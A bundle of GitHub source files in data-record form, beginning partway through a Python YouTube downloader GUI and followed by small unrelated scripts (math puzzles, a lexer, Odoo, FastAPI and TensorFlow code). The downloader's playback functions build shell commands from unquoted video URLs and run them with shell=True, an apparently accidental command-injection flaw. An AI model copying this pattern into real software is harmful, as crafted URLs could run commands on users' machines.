[str(item_values[i]) for i, col in enumerate(self.tree[\"columns\"]) if col in visible_columns]\n item_text = \"\\t\".join(visible_item_values)\n text_to_copy.append(item_text)\n #end\n\n if text_to_copy:\n text_to_copy = \"\\n\".join(text_to_copy)\n pyperclip.copy(text_to_copy)\n #end\n #end\n\n # ------ Callback for calling external player to open the selected watch URLs -------\n def play_selected_watch_urls_locally(self, event=None) -> None:\n # Get the currently selected items\n selected_items = self.tree.selection()\n\n # Get the list of watch URLs from the selected items\n watch_urls = [self.get_video_info_by_entry(item).watch_url for item in selected_items]\n\n # Get the external player filepath from the ini file\n external_player = self.config.get(\"General\", \"playback_player\")\n\n # Ensure the watch URLs are properly quoted for shell execution\n quoted_urls = [shlex.quote(url) for url in watch_urls]\n\n # Combine all the watch URLs into a single command\n command = f\"{external_player} {' '.join(watch_urls)}\"\n\n # Call the external process with the command\n subprocess.Popen(command, shell=True)\n #end\n\n def open_selected_thumbnails_urls_locally(self, event=None) -> None:\n # Get the currently selected items\n selected_items = self.tree.selection()\n\n # Get the list of watch URLs from the selected items\n thumbnail_url = [self.get_video_info_by_entry(item).thumbnail_url for item in selected_items]\n\n # Get the external player filepath from the ini file\n external_player = self.config.get(\"General\", \"playback_player\")\n\n # Ensure the watch URLs are properly quoted for shell execution\n quoted_urls = [shlex.quote(url) for url in thumbnail_url]\n\n # Combine all the watch URLs into a single command\n command = f\"{external_player} {' '.join(thumbnail_url)}\"\n\n # Call the external process with the command\n subprocess.Popen(command, shell=True)\n #end\n\n# === Application Stage 3: Youtube URL Video Input functions ===\n # ------ Callbacks and companion functions for URL insertion and analysis -------\n\n # User Actions Callbacks\n def paste_input_text_callback(self, event):\n clipboard_data = self.clipboard_get()\n self.import_youtube_videos_threaded(clipboard_data)\n #end\n\n def process_input_text_callback(self, event=None):\n input_text = self.url_entry.get()\n self.import_youtube_videos_threaded(input_text)\n self.url_entry.delete(0, tk.END)\n #end\n\n # Intermediate method to run the import operation in a separate thread\n def import_youtube_videos_threaded(self, text):\n if self.download_in_progress_flag == False:\n t = threading.Thread(target=self.importValidYoutubeVideosFromTextOrURL_list, args=(text,))\n t.start()\n #end\n #end\n\n # Get the current URLs in the tree view and video IDs\n def getURL_videoIDList(self):# TODO it's best to extract that from the self.infoList\n current_url_entries = set()\n current_video_ids = set()\n for item in self.tree.get_children(): # Update the urls and the entries\n current_url_entries.add(self.tree.item(item)[\"values\"][self.COLUMN_INDEX_URL])\n current_video_ids.add(self.tree.item(item)[\"values\"][self.COLUMN_INDEX_VIDEO_ID])\n #end\n return current_url_entries, current_video_ids\n #end\n\n # Process Text and URLs\n def importValidYoutubeVideosFromTextOrURL_list(self, text, recursiveCheckOfURLcontent_mode=0):\n self.reset_cancel_flag() # Reset just in case\n\n # Make sure to clean up the download list and simplify it from duplicates\n self.remove_duplicate_entries()\n\n # Disable the download button if it's not already disabled\n self.download_button.config(state='disabled')\n\n numYT_vidMSG = \"- YouTube Video URL(s)\"\n # Check the recursion level\n if recursiveCheckOfURLcontent_mode == 1:\n dispPrefix = self.status_bar_label.cget(\"text\").split(numYT_vidMSG)[0] + \" - playlist videos\"\n URLs_toCheck = text\n elif recursiveCheckOfURLcontent_mode == 3:\n dispPrefix = self.status_bar_label.cget(\"text\").split(numYT_vidMSG)[0] + \" - sub-links\"\n URLs_toCheck = extract_URL_list_from_text(text)\n URLs_toCheck = checkForValidYoutubeURLs(URLs_toCheck) # TODO: needs to be improved\n else: # recursiveCheckOfURLcontent_mode == 0# i.e. default\n global topLevelAnalyzeRunning\n topLevelAnalyzeRunning = True # Could be used to regulate how many simultaneous Analyse operations there can be\n dispPrefix = \"Import Youtube URLs : Currently Processing URL(s)\"\n URLs_toCheck = extract_URL_list_from_text(text)\n #end\n\n # Remove duplicates by converting to set and back to list\n URLs_toCheck = set(URLs_toCheck)\n N = len(URLs_toCheck)\n n = 0\n threads = []# This is used in the multithreading case only\n self.dispStatus(f\"{dispPrefix} found {N}\")\n self.update_progress(n, N, recursiveCheckOfURLcontent_mode)\n\n # Process the URLs one at a time and add only unique ones\n for url in URLs_toCheck:\n # Run in Single thread or multithread mode\n if self.config.getboolean(\"General\", \"multithread_analyse_procedure\"): \n self.disp_diagnostic_info_in_multithread(); \n t = MyThread(target=self.process_url, args=(url, recursiveCheckOfURLcontent_mode))\n t.start()\n threads.append(t) \n else:\n n=n+1;\n self.dispStatus(f\"{dispPrefix} {n} of {N} {numYT_vidMSG} {len(self.infoList)} \")\n self.process_url(url, recursiveCheckOfURLcontent_mode)\n self.update_progress(n, N, recursiveCheckOfURLcontent_mode)\n #end\n #end\n\n # In the multithread case wait for the threads to first join\n if self.config.getboolean(\"General\", \"multithread_analyse_procedure\"):\n # Wait for all threads to complete\n for t in threads:\n t.join()\n #end\n #end\n\n # To finish up the analysis\n if recursiveCheckOfURLcontent_mode == 0: # This checks the recursion mode\n self.dispStatus(\"URL import and Analysis is Complete!\") # Clear the diagnostic output\n # self.dispStatus(\"\");# Clear the diagnostic output #TODO: select one\n self.update_progress(N, N, recursiveCheckOfURLcontent_mode)\n self.download_button.config(state='normal')\n\n # Make sure to clean up the download list and simplify it from duplicates\n self.remove_duplicate_entries()\n #end\n #end\n\n def process_url(self, url, recursiveCheckOfURLcontent_mode):\n if self.cancel_flag:\n self.download_button.config(state='normal')\n return\n #end\n \n # Get the latest list of URL(s) and VideoID(s)\n current_url_entries, current_video_ids = self.getURL_videoIDList()\n\n if url not in current_url_entries:\n info = get_url_info_entry(url)\n\n if info is None:\n if recursiveCheckOfURLcontent_mode == 0 or recursiveCheckOfURLcontent_mode == 2: # This checks the recursion mode\n try:\n if is_valid_youtube_playlist(url):\n recursiveCheckOfURLcontent_mode = 1 # This controls the recursion mode for playlists\n urlsFromPlaylist = get_video_urls_from_playlist(url)\n self.importValidYoutubeVideosFromTextOrURL_list(urlsFromPlaylist, recursiveCheckOfURLcontent_mode)\n elif is_valid_youtube_channel(url):\n recursiveCheckOfURLcontent_mode = 2 # This controls the recursion mode for channels\n urlsFromChannel = get_videos_and_playlists_from_Channel(url)\n self.importValidYoutubeVideosFromTextOrURL_list(urlsFromChannel, recursiveCheckOfURLcontent_mode)\n else:\n recursiveCheckOfURLcontent_mode = 3 # This controls the recursion mode for other urls\n web_page_html = get_html_content(url)\n self.importValidYoutubeVideosFromTextOrURL_list(web_page_html, recursiveCheckOfURLcontent_mode)\n #end\n #end\n except Exception as e:\n print(f\"Error: {e}\")\n finally:\n recursiveCheckOfURLcontent_mode = 0 # This controls the recursion mode\n #end\n #end\n return\n #end\n\n \n # Check if the video ID already exists and insert a new row in the table with the URL and an empty checkbox and videoProperties\n if info.video_id not in current_video_ids:\n self.tree.insert(\"\", \"end\", values=info.as_tuple())\n # Add the URL and video ID to the current_url_entries and current_video_ids sets\n current_url_entries.add(url)\n current_video_ids.add(info.video_id)\n self.infoList.append(info)\n #end\n #end\n #end\n\n def remove_duplicate_entries(self):\n # Get the current video IDs in the tree view\n current_video_ids = set()\n for item in self.tree.get_children():\n current_video_ids.add(self.tree.item(item)[\"values\"][self.COLUMN_INDEX_VIDEO_ID])\n #end\n \n # Check each row in the tree view and remove duplicates\n for item in self.tree.get_children():\n video_id = self.tree.item(item)[\"values\"][self.COLUMN_INDEX_VIDEO_ID]\n if video_id in current_video_ids:\n current_video_ids.remove(video_id)\n else:\n self.tree.delete(item)\n #end\n #end\n #end\n\n diagnostics_thread = None;\n def disp_diagnostic_info_in_multithread(self, interval=0.1):\n # Only if the thread is not running\n if self.diagnostics_thread is None or not self.diagnostics_thread.is_alive():\n def diagnostic_message(stats):\n message = (\n f\"URL thread check(s) Total: {stats['total_threads']} \"\n f\"Active: {stats['active_threads']} \"\n f\"Completed: {stats['successful_threads']} \"\n f\"Errors: {stats['errored_threads']} \"\n )\n return message\n #end\n def display_diagnostics(interval):\n while True:\n stats = MyThread.get_multithread_stats()\n self.dispStatus(diagnostic_message(stats))\n sleep(interval)\n\n # Break condition: All threads from MyThread are finished\n if len(MyThread.get_active_threads(MyThread.threads)) == 0:\n break\n #end\n #end\n\n # Set self.diagnostics_thread to None when it's done\n self.diagnostics_thread = None\n MyThread.reset_threads()\n #end\n\n self.diagnostics_thread = MyThread(target=display_diagnostics, args=(interval,), daemon=True)\n self.diagnostics_thread.start()\n #end\n #end\n\n# === Application Stage 5: Youtube URL Video Download functions ===\n # ------ Callbacks and companion functions for Download, location and properties handling -------\n\n def get_download_location(self):\n outputdir = self.download_location_entry.get()\n if outputdir == \"\" or not os.path.isdir(outputdir):\n self.select_location()\n outputdir = self.download_location_entry.get()\n if outputdir == \"\":\n self.dispStatus(\"Please select download location!\")\n return None\n #end\n if not os.path.isdir(outputdir):\n self.dispStatus(\"Invalid download location! Please select a valid download location!\")\n return None \n #end\n #end\n return outputdir\n #end\n\n def getLimitsAndPriority(self):\n limits_and_priority = LimitsAndPriority()\n\n # Get the audio bitrate\n limits_and_priority.bitrate = self.dropdown_audio_limiter_selection.get().replace(\"kbps\",\"\").strip()\n # Parse audio format priority into a list\n audio_format_priority_str = self.config.get(\"DownloadSettings\", \"audio_format_priority\")\n limits_and_priority.audio_format_priority = [format.strip() for format in audio_format_priority_str.split(\",\")]\n\n # Get video resolution \n limits_and_priority.resolution = self.dropdown_video_limiter_selection.get().replace(\"p\",\"\").strip()\n # Get video fps\n limits_and_priority.fps = self.dropdown_fps_limiter_selection.get().replace(\"fps\",\"\").strip()\n # Parse video format priority into a list\n video_format_priority_str = self.config.get(\"DownloadSettings\", \"video_format_priority\")\n limits_and_priority.video_format_priority = [format.strip() for format in video_format_priority_str.split(\",\")]\n \n limits_and_priority.to_numeric()\n return limits_and_priority\n #end\n\n def download_all_entries_callback(self):\n if self.download_in_progress_flag == False:\n t = threading.Thread(target=self.download_all_entries, args=())\n t.start()\n else:\n # If a second time is pressed the cancel flag should be called \n # Assume the text label has been changed\n self.cancel_operation_flagON()\n #end\n #end\n\n\n def download_all_entries(self):\n # Disable relevant UI elements during download\n self.disableUIelementsDuringDownload()\n\n # Get valid download location\n outputdir = self.get_download_location()\n if outputdir is None:\n return\n #end\n\n # Get Limits\n limits = self.getLimitsAndPriority()\n\n # Get output extension\n outputExt = self.config.get(\"General\", \"output_file_ext\")\n # Create a list to hold thread objects\n threads = []\n\n # Get lengths\n n = 0; N = len(self.infoList);\n # Loop over all entries in the tree view\n # for info in self.infoList:\n for n in range(N):\n\n def download_by_info(n, outputdir, limits, outputExt):\n # Define variables\n N = len(self.infoList)\n self.infoList[n].log(f\"Process Entry Download {n+1} of {N}: \");\n _DONE_ = \"Done!\"\n _ERROR_ = \"Error!\"\n _IN_PROGRESS_ = \"Downloading Now...\"\n\n # Get the associated item\n item = self.get_tree_view_item_by_video_info(self.infoList[n])\n # initial_download_keep_str = self.tree.set(item, 'download_status')\n def setItemStatus(item,new_status=None):\n self.tree.set(item, 'download_status', new_status)\n #end\n \n # Start \n setItemStatus(item,_IN_PROGRESS_)\n try:\n self.infoList[n].process_downloads_combine_keep(outputdir, limits, outputExt) \n self.infoList[n].download_status = _DONE_\n except Exception as e:\n print(f\"File not finished. Error: {e}\")\n self.infoList[n].download_status = _ERROR_\n temp_path = self.infoList[n].make_tmp_dir(outputdir)\n shutil.rmtree(temp_path)\n #end\n\n # Global Update GUI\n setItemStatus(item, self.infoList[n].download_status)\n count_done = sum(1 for video_info in self.infoList if video_info.download_status == _DONE_)\n count_in_progress = sum(1 for video_info in self.infoList if video_info.download_status == _IN_PROGRESS_)\n count_error = sum(1 for video_info in self.infoList if video_info.download_status == _ERROR_)\n self.update_progress(count_done+count_error,N,0)\n self.dispStatus(f\"Processing {N} item(s): Completed downloads {count_done} of {N} Still in progress = {count_in_progress}, Errors = {count_error}!\")\n #end\n\n # Run in Single thread or multithread mode\n if self.config.getboolean(\"General\", \"multithread_download_procedure\"):\n t = threading.Thread(target=download_by_info, args=(n, outputdir, limits, outputExt))\n t.start()\n threads.append(t) \n else:\n download_by_info(n, outputdir, limits, outputExt)\n #end\n #end\n\n if self.config.getboolean(\"General\", \"multithread_download_procedure\"):\n # Wait for all threads to complete\n for t in threads:\n t.join()\n #end\n #end\n\n # Re-enable relevant UI elements after download\n self.enableUIelementsAfterDownload()\n #end\n\n# === Application Stage ANY: Functions to handle long operation states, status and diagnostic information ===\n # ------ Procedural Functions & Callbacks for extended processes -------\n # With time consuming procedures such as analysis and download,\n # there is need to regulate the UI behavior as well as provide the ability\n # to update status & progress as well as cancel the procedure\n\n # Function for diagnostic output\n def dispStatus(self, msg: str = \"\"):# TODO: funcCall may be obsolete in the future\n self.status_bar_label.config(text=msg)\n self.progress_bar_msg.set(msg)# TODO: may be redundant \n self.update_idletasks();# Update the GUI\n self.tree.update_idletasks();# Update the GUI\n #end\n\n def update_progress(self, index_in: int, total_in :int, task_level):\n global index, total\n if total_in == 0:\n return;\n #end\n if task_level == 0:\n index = index_in\n total = total_in\n # Update the progress bar for the main task\n progressValue = (index / total) * 100\n else:\n progressValue = 100 * ( index + (index_in/total_in) )/ total \n #end\n self.progress_bar[\"value\"] = progressValue\n\n # TODO: a bit redundant\n self.progress_bar.update() # Refresh the window to show the progress\n self.progress_bar.update_idletasks() # Refresh the window to show the progress\n self.update() # Refresh the window to show the progress\n #end\n\n def cancel_operation_flagON(self, event=None):\n self.cancel_flag = True\n msg = \"Cancel the currently running operation!\";\n self.dispStatus(msg)\n #end\n\n def reset_cancel_flag(self):\n self.cancel_flag = False\n #end\n\n def disableUIelementsDuringDownload(self):\n self.download_in_progress_flag = True\n self.update_progress(0,len(self.infoList),0)\n self.dispStatus(f\"Starting Download of {len(self.infoList)} item(s) now!\")\n\n # Disable the input URL text field\n self.url_entry.config(state='disabled')\n\n # Disable the analyze button\n self.analyse_button.config(state='disabled')\n\n # Disable the select download location button\n self.select_location_button.config(state='disabled')\n\n # Disable the download location text field\n self.download_location_entry.config(state='disabled')\n\n # Disable the limiter dropdowns\n self.dropdown_audio_limiter.config(state='disabled')\n self.dropdown_video_limiter.config(state='disabled')\n self.dropdown_fps_limiter.config(state='disabled')\n\n # Change the download button text to cancel\n self.download_button.config(text=self.theme[\"texts\"][\"download_cancel_button\"])\n #end\n\n def enableUIelementsAfterDownload(self):\n self.download_in_progress_flag = False\n self.reset_cancel_flag()\n\n # Enable the input URL text field\n self.url_entry.config(state='normal')\n\n # Enable the analyze button\n self.analyse_button.config(state='normal')\n\n # Enable the select download location button\n self.select_location_button.config(state='normal')\n\n # Enable the download location text field\n self.download_location_entry.config(state='normal')\n\n # Re-enable the limiter dropdowns\n self.dropdown_audio_limiter.config(state='normal')\n self.dropdown_video_limiter.config(state='normal')\n self.dropdown_fps_limiter.config(state='normal')\n\n # Revert the download button text to the original\n self.download_button.config(text=self.theme[\"texts\"][\"download_button\"])\n #end\n\n#end:class\n\ndef main_runGUI():\n app = YouTubeDownloaderGUI()\n app.mainloop()\n#end\n\n# === Application Main function run ===\nif __name__ == \"__main__\":\n main_runGUI()\n#end","repo_name":"JessyJP/YoutubeVideoDownloader","sub_path":"src/gui_main.py","file_name":"gui_main.py","file_ext":"py","file_size_in_byte":54297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"40143963766","text":"t = int(input())\n\narr = [0 for x in range(0, 10001)]\narr[1] = 1\n\nfor i in range(2, 5001):\n if arr[i] == 1:\n continue\n k = 2\n while True:\n if (i * k) >= 10001:\n break\n arr[i * k] = 1\n k += 1\n\nfor i in range(0, t):\n n = int(input())\n div_n = n // 2\n for k in range(0, div_n):\n if arr[div_n - k] == 0 and arr[div_n + k] == 0:\n print(div_n - k, end=\" \")\n print(div_n + k)\n break\n","repo_name":"ShinDain/Simple-Projects","sub_path":"back_lab/back_lab/풀이 코드/Python/기본 수학2/9020_골드바흐추측.py","file_name":"9020_골드바흐추측.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"75302303878","text":"import ply.lex as lex\n\ntokens = (\n 'CHR',\n 'DIVIDE'\n)\n\n# los literales son chars que matchean de una\nliterals = \"_^(){}\"\n\ndef t_CHR(t):\n # el primer ^ toma complemento de los símbolos que siguen\n r'[^ _ \\^ / \\( \\)\\{\\}]'\n return t\n\ndef t_DIVIDE(t):\n r'/'\n return t\n\nt_ignore = '\\t'\n\ndef t_error(t):\n print(\"Illegal character '%s'\" % t.value[0])\n t.lexer.skip(1)\n","repo_name":"gflan/tleng","sub_path":"src/tokrules.py","file_name":"tokrules.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"28038786224","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n'''\n@Desc : \n@Author: zhangchang\n@Date : 2021/11/20 15:58\n'''\n\nimport ndraw\nimport streamlit as st\nimport tensorflow as tf\nimport streamlit.components.v1 as components\n\n\n# 设置随机种子\ntf.random.set_seed(1)\n\n\n# 查看gpu是否有效\n# print(tf.test.is_gpu_available())\n# gpu = tf.config.experimental.list_physical_devices(device_type='GPU')\n# tf.config.experimental.set_memory_growth(gpu[0], True)\n\nclass TrainCallback(tf.keras.callbacks.Callback):\n def __init__(self, test_x, test_y):\n super(TrainCallback, self).__init__()\n self.test_x = test_x\n self.test_y = test_y\n\n def on_train_begin(self, logs=None):\n st.header(\"训练汇总\")\n self.summary_line = st.area_chart()\n\n st.subheader(\"训练进度\")\n self.process_text = st.text(\"0/{}\".format(self.params['epochs']))\n self.process_bar = st.progress(0)\n\n st.subheader('loss曲线')\n self.loss_line = st.line_chart()\n\n st.subheader('accuracy曲线')\n self.acc_line = st.line_chart()\n\n def on_epoch_end(self, epoch, logs=None):\n self.loss_line.add_rows({'train_loss': [logs['loss']], 'val_loss': [logs['val_loss']]})\n self.acc_line.add_rows({'train_acc': [logs['accuracy']], 'val_accuracy': [logs['val_accuracy']]})\n self.process_bar.progress(epoch / self.params['epochs'])\n self.process_text.empty()\n self.process_text.text(\"{}/{}\".format(epoch, self.params['epochs']))\n\n def on_batch_end(self, epoch, logs=None):\n if epoch % 10 == 0 or epoch == self.params['epochs']:\n self.summary_line.add_rows({'loss': [logs['loss']], 'accuracy': [logs['accuracy']]})\n\n\n@st.cache(allow_output_mutation=True)\ndef get_data(is_onehot = False):\n # 根据自己的训练数据进行加载\n (x_train, y_train), (x_test, y_test) = tf.keras.datasets.mnist.load_data()\n x_train = x_train/255.0\n x_test = x_test/255.0\n if is_onehot:\n y_train = tf.one_hot(y_train,10)\n y_test = tf.one_hot(y_test,10)\n return (x_train, y_train), (x_test, y_test)\n\n\ndef build_model():\n model = tf.keras.models.Sequential([\n tf.keras.layers.Flatten(input_shape=(28, 28)),\n tf.keras.layers.Dense(128, activation='relu'),\n tf.keras.layers.Dropout(0.2),\n tf.keras.layers.Dense(128, activation='relu'),\n tf.keras.layers.Dropout(0.2),\n tf.keras.layers.Dense(128, activation='relu'),\n tf.keras.layers.Dropout(0.2),\n tf.keras.layers.Dense(128, activation='relu'),\n tf.keras.layers.Dropout(0.2),\n tf.keras.layers.Dense(10, activation='softmax')\n ])\n return model\n\n\nif __name__ == '__main__':\n st.title(\"训练xx模型\")\n if st.sidebar.button('开始'):\n (x_train, y_train), (x_test, y_test) = get_data(is_onehot=True)\n\n st.text(\"train size: {} {}\".format(x_train.shape, y_train.shape))\n st.text(\"test size: {} {}\".format(x_test.shape, y_test.shape))\n\n model = build_model()\n with st.expander(\"查看模型\"):\n components.html(ndraw.render(model,init_x=200, flow=ndraw.VERTICAL), height=1000, scrolling=True)\n model.compile(loss=\"categorical_crossentropy\", optimizer=tf.keras.optimizers.Adam(lr=0.001),metrics=[\"accuracy\"])\n model.fit(x_train, y_train, batch_size=128, validation_data=(x_test, y_test), epochs=10, verbose=1,callbacks=[TrainCallback(x_test, y_test)])\n st.success('训练结束')\n\n if st.sidebar.button('停止'):\n st.stop()\n","repo_name":"huoyo/visualneu","sub_path":"mniststreamlit.py","file_name":"mniststreamlit.py","file_ext":"py","file_size_in_byte":3545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"21285893690","text":"import sys\nc, r, d = map(int, sys.stdin.readline().split())\nroads = [list(map(int, sys.stdin.readline().split())) for i in range(r)]\ndestination = [int(sys.stdin.readline())-1 for i in range(d)]\nroads.sort(key = lambda x:x[2], reverse=True)\n\n#make roads into an adjacency matrix\ngraph = [[0 for j in range(c)] for i in range(c)]\n\nfor i in roads:\n if i[2]>graph[i[1]-1][i[0]-1]:\n graph[i[1]-1][i[0]-1]=i[2]\n graph[i[0]-1][i[1]-1]=i[2]\n\n#it takes an adjacency matrix, and sorts it so that the higher weighted edges appear first under each vertex, but then also includes to which vertex the edge points to\nsgraph = [sorted([[i[j], j] for j in range(len(i))], key=lambda x: x[0], reverse=True) for i in graph]\n\n#print(sgraph)\nin_tree = [False for i in range(c)]\nin_tree[0]=True\nout = 0\nwhile destination:\n m=0\n adding = (0,0)\n for i in range(len(in_tree)):\n if in_tree[i]:\n if m < sgraph[i][0][0]:\n \n m=sgraph[i][0][0]\n adding = (i, sgraph[i][0][1])\n #sgraph[i].pop(0)\n if adding[1] in destination:\n destination.remove(adding[1])\n in_tree[adding[1]]=True\n sgraph[adding[0]].pop(0)\n out = m\n #print(in_tree)\n #print(m)\nprint(out)","repo_name":"kellen-sun/Contests","sub_path":"CCC Senior/CCC Senior 2003/s5.py","file_name":"s5.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"6293595473","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import models, fields, api\n\n\nclass ProductTemplate(models.Model):\n _inherit = 'product.template'\n\n is_commission_free = fields.Boolean('Commission Free')\n\n\nclass Partner(models.Model):\n _inherit = 'res.partner'\n\n agent = fields.Boolean(\"Agent?\")\n commission = fields.Float()\n agent_id = fields.Many2one(\"res.partner\", string=\"Salesman\", domain=\"[('agent', '=', True)]\")\n\n\nclass SaleOrder(models.Model):\n _inherit = 'sale.order'\n\n agent_id = fields.Many2one(related=\"partner_id.agent_id\", string=\"Salesman\", store=True)\n amount_commission = fields.Monetary(string='Commission', store=True, readonly=True, compute=\"_amount_all\")\n\n @api.depends('partner_id')\n def _amount_all(self):\n res = super(SaleOrder, self)._amount_all()\n for order in self:\n amount_commission = 0.0\n if order.partner_id.agent_id and order.partner_id.agent_id.commission:\n amount_commission = sum(order.order_line.filtered(lambda l: not l.product_id.is_commission_free).mapped(\n 'price_subtotal')) * (order.partner_id.agent_id.commission / 100.0)\n order.update({\n 'amount_commission': amount_commission,\n })\n return res\n\n\nclass Move(models.Model):\n _inherit = 'account.move'\n\n agent_id = fields.Many2one(related=\"partner_id.agent_id\", string=\"Salesman\", store=True)\n amount_commission = fields.Monetary(string='Commission', store=True, readonly=True, compute=\"_compute_amount\")\n # settlement_id = fields.Many2one('sale.commission.settlement',\n # help=\"Settlement that generates this invoice\",\n # copy=False,\n # )\n settled = fields.Boolean()\n\n @api.depends('partner_id')\n def _compute_amount(self):\n res = super(Move, self)._compute_amount()\n for move in self:\n if move.partner_id.agent_id and move.partner_id.agent_id.commission:\n move.amount_commission = sum(\n move.invoice_line_ids.filtered(lambda l: not l.product_id.is_commission_free).mapped(\n 'price_subtotal')) * (move.partner_id.agent_id.commission / 100.0)\n # move.amount_total += move.amount_commission\n else:\n move.amount_commission = 0.0\n return res\n","repo_name":"Drupalnest/erpdev","sub_path":"staples_commission/models/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11729278569","text":"from fastapi import Depends, HTTPException, status\nfrom sqlalchemy.orm import Session\n\nfrom db import get_db\nfrom schemas.post import PostCreate, Likes, Dislikes\nfrom models.post import Post, Like, Dislike\nfrom auth.oauth2 import get_current_user\nfrom utils.posts import get_posts_from_db, get_post_from_db, check_post_author, check_like_in_db, check_dislike_in_db, \\\n get_post_from_db_and_check_author\n\n\ndef create_post_in_db(post: PostCreate, author: int = Depends(get_current_user), db: Session = Depends(get_db)) -> Post:\n post_db = Post(**dict(post), author_id=author)\n db.add(post_db)\n db.commit()\n db.refresh(post_db)\n return post_db\n\n\ndef get_all_posts_from_db(offset: int = 0, limit: int = 10, db: Session = Depends(get_db)):\n posts = get_posts_from_db(offset=offset, limit=limit, db=db)\n return posts\n\n\ndef get_post_by_id_from_db(post_id: int, db: Session = Depends(get_db)):\n post = get_post_from_db(post_id=post_id, db=db)\n if not post:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=f'Пост с id {post_id} не найден!')\n return post\n\n\ndef like_post_db(like: Likes, author_id: int = Depends(get_current_user), db: Session = Depends(get_db)):\n is_author = check_post_author(post_id=like.post_id, user_id=author_id, db=db)\n if is_author:\n raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=f'Вы не можете лайкать собственный пост!')\n check_like = check_like_in_db(post_id=like.post_id, author_id=author_id, db=db)\n check_dislike_in_db(post_id=like.post_id, author_id=author_id, db=db)\n if check_like:\n return {\n \"message\": f\"Лайк успешно убран!\"\n }\n like = Like(**dict(like), user_id=author_id)\n db.add(like)\n db.commit()\n return {\n \"message\": f\"Лайк успешно поставлен!\"\n }\n\n\ndef dislike_post_db(dislike: Dislikes, author_id: int = Depends(get_current_user), db: Session = Depends(get_db)):\n is_author = check_post_author(post_id=dislike.post_id, user_id=author_id, db=db)\n if is_author:\n raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=f'Вы не можете дислайкать собственный пост!')\n check_dislike = check_dislike_in_db(post_id=dislike.post_id, author_id=author_id, db=db)\n check_like_in_db(post_id=dislike.post_id, author_id=author_id, db=db)\n if check_dislike:\n return {\n \"message\": f\"Дислайк успешно убран!\"\n }\n dislike = Dislike(**dict(dislike), user_id=author_id)\n db.add(dislike)\n db.commit()\n return {\n \"message\": f\"Дислайк успешно поставлен!\"\n }\n\n\ndef delete_post_from_db(post_id: int, user_id: int = Depends(get_current_user), db: Session = Depends(get_db)):\n post = get_post_from_db_and_check_author(post_id=post_id, user_id=user_id, db=db)\n post.delete()\n db.commit()\n return {\n \"message\": f\"Пост с id {post_id} успешно удален!\"\n }\n\n\ndef update_post_in_db(post_id: int, request: PostCreate, user_id: int = Depends(get_current_user),\n db: Session = Depends(get_db)):\n post = get_post_from_db_and_check_author(post_id=post_id, user_id=user_id, db=db)\n post.update(request.dict())\n db.commit()\n return post.first()\n","repo_name":"robertd2000/fast-api-social-v2","sub_path":"repository/posts.py","file_name":"posts.py","file_ext":"py","file_size_in_byte":3393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"5130356086","text":"MAX = 5\nclass Solution:\n \n def isSafe(self ,row, col, m, n,\n visited):\n\n if (row == -1 or row == n or \n col == -1 or col == n or \n visited[row][col] or m[row][col] == 0):\n return False\n \n return True\n\n def printPathUtil(self , row, col, m, n, path, possiblePaths , visited):\n \n # This will check the initial point\n # (i.e. (0, 0)) to start the paths.\n if (row == -1 or row == n or \n col == -1 or col == n or\n visited[row][col] or m[row][col] == 0):\n return\n \n # If reach the last cell (n-1, n-1)\n # then store the path and return\n if (row == n - 1 and col == n - 1):\n possiblePaths.append(path)\n return\n \n # Mark the cell as visited\n visited[row][col] = True\n \n # Try for all the 4 directions (down, left,\n # right, up) in the given order to get the\n # paths in lexicographical order\n \n # Check if downward move is valid\n if (self.isSafe(row + 1, col, m, n, visited)):\n path += 'D'\n self.printPathUtil(row + 1, col, m, n, \n path, possiblePaths, visited)\n path = path[:-1]\n \n # Check if the left move is valid\n if (self.isSafe(row, col - 1, m, n, visited)):\n path += 'L'\n self.printPathUtil(row, col - 1, m, n, \n path, possiblePaths, visited)\n path = path[:-1]\n \n # Check if the right move is valid\n if (self.isSafe(row, col + 1, m, n, visited)):\n path += 'R'\n self.printPathUtil(row, col + 1, m, n,\n path, possiblePaths, visited)\n path = path[:-1]\n \n # Check if the upper move is valid\n if (self.isSafe(row - 1, col, m, n, visited)):\n path += 'U'\n self.printPathUtil(row - 1, col, m, n,\n path, possiblePaths, visited)\n path = path[:-1]\n \n # Mark the cell as unvisited for\n # other possible paths\n visited[row][col] = False\n \n def findPath(self, m, n):\n # code here\n possiblePaths = []\n path = \"\"\n visited = [[False for _ in range(MAX)]\n for _ in range(n)]\n \n \n self.printPathUtil(0, 0, m, n, path, \n possiblePaths, visited)\n \n return possiblePaths\n\n\nif __name__=='__main__':\n t = int(input())\n for i in range(t):\n n = list(map(int, input().strip().split()))\n arr = list(map(int, input().strip().split()))\n \n matrix = [[0 for i in range(n[0])]for j in range(n[0])]\n k=0\n for i in range(n[0]):\n for j in range(n[0]):\n matrix[i][j] = arr[k]\n k+=1\n ob = Solution()\n result = ob.findPath(matrix, n[0])\n result.sort()\n if len(result) == 0 :\n print(-1)\n else:\n for x in result:\n print(x,end = \" \")\n print()\n","repo_name":"dsrao711/DSA-Together-HacktoberFest","sub_path":"Backtracking/rat_in_a_maze.py","file_name":"rat_in_a_maze.py","file_ext":"py","file_size_in_byte":3141,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"62"} +{"seq_id":"34194756987","text":"class Solution:\n def queensAttacktheKing(self, queens: List[List[int]], king: List[int]) -> List[List[int]]:\n result = []\n directions = [[0,-1],[0,1],[-1,0],[1,0],[-1,-1],[1,-1],[-1,1],[1,1]]\n #up,down,left,right,up-left,up-right,down-left,down-right\n for direction in directions:\n i,j = king\n 